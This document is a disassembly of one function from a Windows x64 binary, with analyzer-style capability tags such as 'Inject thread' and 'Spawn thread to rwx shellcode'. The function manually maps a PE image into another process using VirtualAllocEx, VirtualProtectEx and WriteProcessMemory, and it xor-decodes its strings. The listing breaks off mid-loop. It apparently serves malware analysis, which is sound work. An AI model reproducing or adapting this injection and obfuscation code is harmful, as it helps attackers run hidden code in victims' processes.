Function at 0x14025e4a0
Capabilities:
Allocate or change rwx memory
Check if file exists
Create thread
Encode data using xor
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov rax, rsp
push rbp
push rbx
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x128]
sub rsp, 0x1f8
movaps xmmword [rax - 0x48], xmm6
movaps xmmword [rax - 0x58], xmm7
movaps xmmword [rax - 0x68], xmm8
movaps xmmword [rax - 0x78], xmm9
movaps xmmword [rax - 0x88], xmm10
movaps xmmword [rax - 0x98], xmm11
movaps xmmword [rax - 0xa8], xmm12
movaps xmmword [rax - 0xb8], xmm13
mov rax, qword [0x1402af028]
xor rax, rsp
mov qword [rbp + 0x60], rax
mov eax, 0x5a4d
mov r14, rdx
mov r13, rcx
cmp word [rdx], ax
je 0x14025e79b
cmp byte [0x14029cf35], 0
mov eax, dword [0x14029cf30]
movsd xmm0, qword [0x14029cf28]
mov dword [rsp + 0x58], eax
movzx eax, word [0x14029cf34]
mov word [rsp + 0x5c], ax
movsd qword [rsp + 0x50], xmm0
je 0x14025e78a
xor ebx, ebx
cmp dword [0x1402af008], 2
jl 0x14025e732
movdqa xmm5, xmmword [0x14029d7a0]
mov r15d, 6
movdqa xmm8, xmmword [0x14029d890]
movdqa xmm2, xmm5
movdqa xmm6, xmmword [0x14029d880]
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
mov r12d, 0x1f
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm8
mov r14d, 5
pmuldq xmm2, xmm8
pmuldq xmm4, xmm6
movd xmm11, r12d
movd xmm9, r15d
movd xmm7, r14d
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
psrad xmm4, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm5
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x14029d8b0]
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm11
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x14029d7e0]
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
movdqa xmm5, xmmword [0x14029d7c0]
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [0x14029cf28]
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm5
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
punpckhdq xmm1, xmm5
paddb xmm3, xmmword [0x14029d870]
movdqa xmm2, xmm5
pxor xmm3, xmm0
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
movd dword [rsp + 0x50], xmm3
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm8
pmuldq xmm2, xmm8
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
psrad xmm4, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm5
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x14029d8b0]
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm11
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x14029d7e0]
packuswb xmm3, xmm3
psubd xmm5, xmm0
mov ebx, 8
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [rsp + 0x54]
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmmword [0x14029d870]
pxor xmm3, xmm0
movd dword [rsp + 0x54], xmm3
movsxd rax, ebx
lea r9, [rsp + 0x50]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb13b13b1
imul ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
sub cl, r8b
add cl, 0x23
add cl, bl
inc ebx
add cl, cl
xor byte [r9 - 1], cl
cmp ebx, 0xe
jl 0x14025e740
lea rcx, [rsp + 0x50]
call fcn.1401e4400
xor al, al
jmp 0x1402635c9
movsxd r15, dword [rdx + 0x3c]
mov eax, 0x8664
add r15, r14
mov qword [rbp - 0x38], r15
cmp word [r15 + 4], ax
je 0x14025ea7b
cmp byte [0x14029ce69], 0
movups xmm0, xmmword [0x14029ce58]
movzx eax, word [0x14029ce68]
mov word [rsp + 0x60], ax
movups xmmword [rsp + 0x50], xmm0
je 0x14025ea6a
xor ebx, ebx
cmp dword [0x1402af008], 2
jl 0x14025ea0e
movdqa xmm0, xmmword [0x14029d870]
lea rcx, [rsp + 0x54]
movdqa xmm9, xmmword [0x14029d7a0]
mov r14d, 5
movdqa xmm6, xmmword [0x14029d880]
mov r15d, 6
movdqa xmm7, xmmword [0x14029d890]
mov r12d, 0x1f
movdqa xmm12, xmmword [0x14029d7e0]
movdqa xmm13, xmmword [0x14029d8b0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop dword [rax]
movd xmm5, ebx
lea eax, [rbx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm13
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add ebx, 8
pshufd xmm2, xmm1, 0xd8
mov eax, ebx
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp ebx, 0x10
jl 0x14025e850
cmp eax, 0x12
jge 0x14025ea6a
movsxd rax, ebx
lea r9, [rsp + 0x50]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb13b13b1
imul ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
sub cl, r8b
add cl, 0x23
add cl, bl
inc ebx
add cl, cl
xor byte [r9 - 1], cl
cmp ebx, 0x12
jl 0x14025ea20
lea rcx, [rsp + 0x50]
call fcn.1401e4400
xor al, al
jmp 0x1402635c9
movzx eax, byte [0x14029cd00]
lea rcx, [rsp + 0x50]
movsd xmm0, qword [0x14029ccf8]
xor al, 0x56
movsd qword [rsp + 0x50], xmm0
xor byte [rsp + 0x51], 0x48
xor byte [rsp + 0x52], 0x4a
xor byte [rsp + 0x53], 0x4c
xor byte [rsp + 0x54], 0x4e
xor byte [rsp + 0x55], 0x50
xor byte [rsp + 0x56], 0x52
xor byte [rsp + 0x57], 0x54
mov byte [rsp + 0x58], al
mov byte [rsp + 0x50], 0x46
call fcn.1401e4400
mov r8d, dword [r15 + 0x50]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 4
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp - 0x50], rax
mov r12, rax
test rax, rax
jne 0x14025edde
call qword [sym.imp.KERNEL32.dll_GetLastError]
movups xmm0, xmmword [0x14029cc18]
movzx ecx, word [0x14029cc48]
xor ebx, ebx
cmp dword [0x1402af008], 2
mov r10d, eax
movups xmm1, xmmword [0x14029cc28]
mov word [rbp - 0x68], cx
movzx ecx, byte [0x14029cc4a]
movups xmmword [rsp + 0x68], xmm0
mov byte [rbp - 0x66], cl
movups xmm0, xmmword [0x14029cc38]
movups xmmword [rsp + 0x78], xmm1
movups xmmword [rbp - 0x78], xmm0
jl 0x14025ed6e
movdqa xmm0, xmmword [0x14029d870]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x14029d7a0]
mov r14d, 5
movdqa xmm6, xmmword [0x14029d880]
mov r15d, 6
movdqa xmm7, xmmword [0x14029d890]
mov r12d, 0x1f
movdqa xmm12, xmmword [0x14029d7e0]
movdqa xmm13, xmmword [0x14029d8b0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop dword [rax + rax]
movd xmm5, ebx
lea eax, [rbx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm13
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add ebx, 8
pshufd xmm2, xmm1, 0xd8
mov eax, ebx
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp ebx, 0x30
jl 0x14025ebb0
cmp eax, 0x33
jge 0x14025edca
movsxd rax, ebx
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb13b13b1
imul ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
sub cl, r8b
add cl, 0x23
add cl, bl
inc ebx
add cl, cl
xor byte [r9 - 1], cl
cmp ebx, 0x33
jl 0x14025ed80
mov edx, r10d
lea rcx, [rsp + 0x68]
call fcn.1401e4400
xor al, al
jmp 0x1402635c9
xor ebx, ebx
lea rax, [rbp + 0x54]
mov dword [rbp + 0x54], ebx
mov rdx, r12
mov r8d, dword [r15 + 0x50]
mov rcx, r13
mov qword [rsp + 0x20], rax
lea r9d, [rbx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r9d, 0x1000
mov qword [rbp - 0x30], rax
mov r8, r14
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, r12
mov qword [rbp - 0x28], rax
mov rcx, r13
mov rax, qword [sym.imp.KERNEL32.dll_RtlAddFunctionTable]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x10], rbx
mov qword [rbp - 8], 1
mov qword [rbp + 8], 1
mov qword [rbp - 0x18], r12
mov qword [rbp], rbx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14025f154
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp byte [0x14029ce8d], bl
mov r10d, eax
movups xmm0, xmmword [0x14029ce70]
mov ecx, dword [0x14029ce88]
mov dword [rbp - 0x80], ecx
movzx ecx, word [0x14029ce8c]
movups xmmword [rsp + 0x68], xmm0
mov word [rbp - 0x7c], cx
movsd xmm0, qword [0x14029ce80]
movsd qword [rsp + 0x78], xmm0
je 0x14025f12a
cmp dword [0x1402af008], 2
jl 0x14025f0d0
movdqa xmm0, xmmword [0x14029d870]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x14029d7a0]
mov r14d, 5
movdqa xmm6, xmmword [0x14029d880]
mov r15d, 6
movdqa xmm7, xmmword [0x14029d890]
mov r12d, 0x1f
movdqa xmm12, xmmword [0x14029d8b0]
movdqa xmm13, xmmword [0x14029d7e0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
movd xmm5, ebx
lea eax, [rbx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add ebx, 8
pshufd xmm2, xmm1, 0xd8
mov eax, ebx
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp ebx, 0x18
jl 0x14025ef12
cmp eax, 0x1e
jge 0x14025f12a
movsxd rax, ebx
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb13b13b1
imul ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
sub cl, r8b
add cl, 0x23
add cl, bl
inc ebx
add cl, cl
xor byte [r9 - 1], cl
cmp ebx, 0x1e
jl 0x14025f0e0
mov edx, r10d
lea rcx, [rsp + 0x68]
call fcn.1401e4400
mov rdx, qword [rbp - 0x50]
mov r9d, 0x8000
xor r8d, r8d
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x1402635c9
mov qword [rsp + 0x240], rsi
mov esi, ebx
mov qword [rsp + 0x1f0], rdi
movzx edi, word [r15 + 0x14]
add rdi, 0x2c
cmp word [r15 + 6], bx
je 0x14025f1bb
add rdi, r15
nop dword [rax]
mov eax, dword [rdi - 4]
test eax, eax
je 0x14025f1ac
mov r8d, dword [rdi]
mov r9d, eax
mov edx, dword [rdi - 8]
add r8, r14
add rdx, r12
mov qword [rsp + 0x20], rbx
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14025f4b4
movzx eax, word [r15 + 6]
inc esi
add rdi, 0x28
cmp esi, eax
jne 0x14025f180
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov rcx, r13
lea r8d, [rdx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp - 0x48], rax
mov rdi, rax
test rax, rax
jne 0x14025f7a2
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [0x1402af008], 2
mov r10d, eax
movups xmm0, xmmword [0x14029cf68]
mov ecx, dword [0x14029cf98]
movups xmm1, xmmword [0x14029cf78]
mov dword [rbp - 0x68], ecx
movups xmmword [rsp + 0x68], xmm0
movups xmm0, xmmword [0x14029cf88]
movups xmmword [rsp + 0x78], xmm1
movups xmmword [rbp - 0x78], xmm0
jl 0x14025f44e
movdqa xmm0, xmmword [0x14029d870]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x14029d7a0]
mov r14d, 5
movdqa xmm6, xmmword [0x14029d880]
mov r15d, 6
movdqa xmm7, xmmword [0x14029d890]
mov r12d, 0x1f
movdqa xmm12, xmmword [0x14029d8b0]
movdqa xmm13, xmmword [0x14029d7e0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop dword [rax]
movd xmm5, ebx
lea eax, [rbx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add ebx, 8
pshufd xmm2, xmm1, 0xd8
mov eax, ebx
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp ebx, 0x30
jl 0x14025f290
cmp eax, 0x34
jge 0x14025f4aa
movsxd rax, ebx
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb13b13b1
imul ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
sub cl, r8b
add cl, 0x23
add cl, bl
inc ebx
add cl, cl
xor byte [r9 - 1], cl
cmp ebx, 0x34
jl 0x14025f460
lea rcx, [rsp + 0x68]
jmp 0x14025f77f
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp byte [0x14029cd21], bl
mov r10d, eax
movups xmm0, xmmword [0x14029cd08]
movzx ecx, word [0x14029cd20]
mov word [rbp - 0x80], cx
movups xmmword [rsp + 0x68], xmm0
movsd xmm0, qword [0x14029cd18]
movsd qword [rsp + 0x78], xmm0
je 0x14025f77a
cmp dword [0x1402af008], 2
jl 0x14025f71e
movdqa xmm0, xmmword [0x14029d870]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x14029d7a0]
mov r14d, 5
movdqa xmm6, xmmword [0x14029d880]
mov r15d, 6
movdqa xmm7, xmmword [0x14029d890]
mov r12d, 0x1f
movdqa xmm12, xmmword [0x14029d7e0]
movdqa xmm13, xmmword [0x14029d8b0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop
movd xmm5, ebx
lea eax, [rbx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm4, xmm5
pmuldq xmm0, xmm6
movdqa xmm2, xmm4
pmuldq xmm1, xmm7
pmuldq xmm2, xmm6
pmuldq xmm4, xmm7
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm5
shufps xmm4, xmm1, 0xdd
psrad xmm2, xmm10
psubd xmm4, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add ebx, 8
pshufd xmm2, xmm1, 0xd8
mov eax, ebx
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
